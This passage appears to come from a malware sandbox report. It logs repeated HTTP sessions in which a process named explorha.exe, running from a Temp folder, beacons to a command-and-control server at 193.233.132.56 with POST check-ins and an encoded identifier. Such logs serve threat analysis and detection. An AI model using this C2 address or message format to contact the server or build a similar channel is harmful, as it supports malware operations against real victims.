r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C8F9A747C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Apr 13, 2024 20:21:36.610591888 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Apr 2024 18:21:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49760	193.233.132.56	80	2504	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 13, 2024 20:21:37.081007957 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 13, 2024 20:21:37.424335003 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Apr 2024 18:21:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 13, 2024 20:21:38.066340923 CEST	310	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 38 46 39 41 37 34 37 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C8F9A747C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Apr 13, 2024 20:21:38.439923048 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Apr 2024 18:21:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49761	193.233.132.56	80	2504	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 13, 2024 20:21:39.129837036 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 13, 2024 20:21:39.466574907 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Apr 2024 18:21:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 13, 2024 20:21:39.467235088 CEST	310	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 38 46 39 41 37 34 37 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C8F9A747C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Apr 13, 2024 20:21:39.807836056 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Apr 2024 18:21:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49769	193.233.132.56	80	2504	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 13, 2024 20:21:40.266779900 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 13, 2024 20:21:40.613363028 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Apr 2024 18:21:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 13, 2024 20:21:40.613950968 CEST	310	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 38 46 39 41 37 34 37 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C8F9A747C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Apr 13, 2024 20:21:40.969014883 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Apr 2024 18:21:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49772	193.233.132.56	80	2504	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 13, 2024 20:21:41.422686100 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 13, 2024 20:21:41.766782045 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Apr 2024 18:21:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 13, 2024 20:21:41.767446995 CEST	310	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 38 46 39 41 37 34 37 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C8F9A747C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Apr 13, 2024 20:21:42.125689983 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Apr 2024 18:21:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49775	193.233.132.56	80	2504	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 13, 2024 20:21:42.575215101 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 13, 2024 20:21:42.921078920 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Apr 2024 18:21:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 13, 2024 20:21:42.921730995 CEST	310	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 38 46 39 41 37 34 37 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C8F9A747C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Apr 13, 2024 20:21:43.283226013 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Apr 2024 18:21:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49776	193.233.132.56	80	2504	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 13, 2024 20:21:43.738810062 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 13, 2024 20:21:44.084777117 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Apr 2024 18:21:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 13, 2024 20:21:44.085464001 CEST	310	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 38 46 39 41 37 34 37 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C8F9A747C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Apr 13, 2024 20:21:44.441601992 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Apr 2024 18:21:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49777	193.233.132.56	80	2504	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 13, 2024 20:21:44.887443066 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 13, 2024 20:21:45.227206945 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Apr 2024 18:21:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 13, 2024 20:21:45.227993011 CEST	310	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 38 46 39 41 37 34 37 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C8F9A747C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Apr 13, 2024 20:21:45.571347952 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Apr 2024 18:21:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49778	193.233.132.56	80	2504	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 13, 2024 20:21:46.028958082 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 13, 2024 20:21:46.372463942 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Apr 2024 18:21:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 13, 2024 20:21:46.373711109 CEST	310	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 38 46 39 41 37 34 37 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C8F9A747C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Apr 13, 2024 20:21:46.722907066 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Apr 2024 18:21:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49779	193.233.132.56	80	2504	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 13, 2024 20:21:47.166109085 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 13, 2024 20:21:47.506040096 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Apr 2024 18:21:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 13, 2024 20:21:47.544792891 CEST	310	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 38 46 39 41 37 34 37 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C8F9A747C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Apr 13, 2024 20:21:47.890106916 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Apr 2024 18:21:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49780	193.233.132.56	80	2504	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 13, 2024 20:21:48.345113993 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 13, 2024 20:21:48.687342882 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Apr 2024 18:21:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 13, 2024 20:21:48.689744949 CEST	310	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 38 46 39 41 37 34 37 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C8F9A747C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Apr 13, 2024 20:21:49.040268898 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Apr 2024 18:21:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49781	193.233.132.56	80	2504	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 13, 2024 20:21:49.502444029 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 13, 2024 20:21:49.842483997 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Apr 2024 18:21:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 13, 2024 20:21:49.843167067 CEST	310	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 38 46 39 41 37 34 37 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C8F9A747C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Apr 13, 2024 20:21:50.191550016 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Apr 2024 18:21:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49783	193.233.132.56	80	2504	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 13, 2024 20:21:50.636461020 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 13, 2024 20:21:50.976346970 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Apr 2024 18:21:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 13, 2024 20:21:50.977112055 CEST	310	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 38 46 39 41 37 34 37 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C8F9A747C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Apr 13, 2024 20:21:51.329794884 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Apr 2024 18:21:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49784	193.233.132.56	80	2504	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 13, 2024 20:21:51.779427052 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 13, 2024 20:21:52.123167992 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Apr 2024 18:21:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
